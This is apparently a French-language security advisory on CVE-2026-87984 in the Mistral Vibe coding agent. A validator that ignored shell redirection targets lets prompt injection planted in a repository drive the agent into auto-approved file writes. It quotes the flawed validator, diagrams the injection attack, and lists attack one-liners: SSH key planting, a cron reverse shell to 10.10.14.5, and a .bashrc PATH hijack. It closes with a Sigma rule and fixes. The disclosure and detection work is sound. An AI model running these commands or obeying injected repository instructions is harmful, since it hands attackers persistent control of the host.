CVE-2026-87984 : écriture arbitraire de fichiers via omission des cibles de redirection shell dans Mistral vibe
SCORE DE MENACE HERMES & COMPROMISSION DE L'HÔTE
Cible :Mistral Vibe Coding Agent (mistral-vibe) Le CVSS v4.0 évalue la CVE-2026-87984 à 9.3 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H). Le score Hermes s'établit à 94 (CRITIQUE). Cette sévérité découle de la possibilité pour un attaquant d'injecter des clés SSH autorisées, des tâches cron ou de modifier les profils shell sans aucune interaction de l'opérateur.
CVE-2026-87984: Mistral Vibe Arbitrary File Write via Shell Redirection Target OmissionVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-002.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
1. Contexte technique & matrice des versions affectées
Section intitulée « 1. Contexte technique & matrice des versions affectées »| Paramètre | Spécification Technique | Contexte Threat Intelligence |
|---|---|---|
| Identifiant CVE | CVE-2026-87984 | Découvert par Esteban Tonglet (HiddenLayer) |
| Faiblesse CWE | CWE-22 (Traversée de répertoire), CWE-732 (Contrôle d’accès incorrect) | Défaut de visite des nœuds de redirection AST |
| Vecteur d’attaque | Injection indirecte de prompt (AAP-002) / AAP-003 | Pull request, issue ou commentaire de code malveillant |
| Composant vulnérable | Validateur AST dans Mistral Vibe (vibe command evaluator) | Valide la commande en ignorant les cibles de redirection |
| Versions affectées | mistral-vibe < 1.1.0 | Environnements avec auto-approbation active |
| Version corrigée | vibe >= 1.1.0 | Visiteur AST récursif inspectant toutes les redirections |
| Impact systémique | Écriture arbitraire, persistance système, prise de contrôle SSH | Chemin direct vers la compromission persistante de l’hôte |
2. Décomposition technique approfondie & cause racine
Section intitulée « 2. Décomposition technique approfondie & cause racine »A. La séparation des arguments et des redirections dans l’AST
Section intitulée « A. La séparation des arguments et des redirections dans l’AST »En syntaxe Bash, les redirections de flux (>, >>, 1>, 2>) sont représentées par tree-sitter-bash au sein d’un nœud redirected_statement ou file_redirect distinct de la commande elle-même :
redirected_statement ├── body: command │ ├── name: command_name -> "echo" │ └── argument: word -> '"ssh-ed25519 AAAA..."' └── redirect: file_redirect ├── operator: ">>" └── destination: word -> "/home/user/.ssh/authorized_keys"B. L’omission dans la boucle de validation
Section intitulée « B. L’omission dans la boucle de validation »L’algorithme de contrôle de Mistral Vibe ne parcourait que les enfants directs de type command_argument. Les nœuds file_redirect étaient purement ignorés :
# Logique vulnérable dans Mistral Vibe (< 1.1.0)def validate_command_safety(parsed_ast_node, allowed_commands, workspace_root): cmd_name = extract_command_name(parsed_ast_node) if cmd_name not in allowed_commands: return False
# ANOMALIE : Seuls les arguments positionnels sont inspectés ! for arg in extract_positional_arguments(parsed_ast_node): if not is_safe_workspace_path(arg, workspace_root): return False
# Les cibles de redirection (file_redirect) ne sont JAMAIS testées ! return True # Auto-approuvé !Comme echo figure sur la liste des commandes autorisées et que "ssh-ed25519..." ne contient pas de chemin interdit, la validation réussit. Bash crée ou modifie ensuite le fichier système ciblé.
3. Scénario d’attaque & exploitation
Section intitulée « 3. Scénario d’attaque & exploitation »sequenceDiagram autonumber actor Attaquant as Attaquant Distant participant Depot as Dépôt Git participant LLM as Moteur LLM Vibe participant Filtre as Filtre AST participant OS as Système d'Exploitation Hôte
Attaquant->>Depot: Implante un prompt malveillant (AAP-002) Depot->>LLM: Le développeur exécute : "vibe 'configure le projet'" LLM->>LLM: Analyse et exécute les consignes injectées LLM->>Filtre: Émet : echo "cle_attaquant" >> ~/.ssh/authorized_keys Filtre->>Filtre: Vérifie 'echo' -> AUTORISÉ Filtre->>Filtre: Ignore la redirection '>> ~/.ssh/authorized_keys' Filtre->>OS: Le shell exécute la redirection sans confirmation ! OS-->>Attaquant: L'attaquant se connecte en SSH avec accès persistantVecteurs d’armement
Section intitulée « Vecteurs d’armement »- Injection de clé SSH (accès distant permanent) :
Fenêtre de terminal echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... root@c2" >> ~/.ssh/authorized_keys - Persistance Cron :
Fenêtre de terminal echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" > /etc/cron.d/sync_job - Détournement d’environnement shell :
Fenêtre de terminal echo "export PATH=/tmp/evil_bin:\$PATH" >> ~/.bashrc
4. Détection & chasse aux menaces
Section intitulée « 4. Détection & chasse aux menaces »Règle Sigma
Section intitulée « Règle Sigma »title: Redirection de Sortie Mistral Vibe Hors Espace de Travailid: 87984001-vibe-redirection-bypass-frstatus: experimentaldescription: Détecte des redirections de fichiers ciblant des répertoires sensibles exécutées sous un processus parent Mistral Vibe.references: - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/author: Hermes Codex Cyber Defense Teamlogsource: category: process_creation product: linuxdetection: selection_parent: CommandLine|contains: 'vibe' selection_redirection: CommandLine|re: '(>|>>)\s*(~|\/etc|\/root|\/home|\/var|\/usr)' condition: selection_parent and selection_redirectionlevel: high5. Défense, durcissement & remédiation
Section intitulée « 5. Défense, durcissement & remédiation »- Mise à jour immédiate : déployer
vibe >= 1.1.0. Le visiteur AST inspecte récursivement chaque redirection de fichier. - Cloisonnement strict : lancer l’agent dans un conteneur avec un système de fichiers en lecture seule (
--read-only), à l’exception du sous-dossier de travail du projet. - Audit forensique des fichiers clés : contrôler l’intégrité de
~/.ssh/authorized_keys,/etc/cron.*, et des scripts d’initialisation shell (~/.bashrc,~/.zshrc). - Surveillance agentique : déployer les règles AgentThreat Studio relatives à AAP-003 : Altération des paramètres d’outils.
6. Références croisées
Section intitulée « 6. Références croisées »- CVE-2026-87983 : lecture arbitraire de fichiers via chemins avec guillemets
- CVE-2026-87985 : RCE via le quoting ANSI-C dans
find -exec - CVE-2026-87986 : injection de commande via les nœuds d’erreur syntaxique
- CVE-2026-87987 : RCE via stripping des variables d’environnement
- CVE-2026-87988 : disparité entre commandes auto-approuvées et contrôle des chemins
- AAP-002 : injection indirecte de contexte
- AAP-003 : altération des paramètres d’outils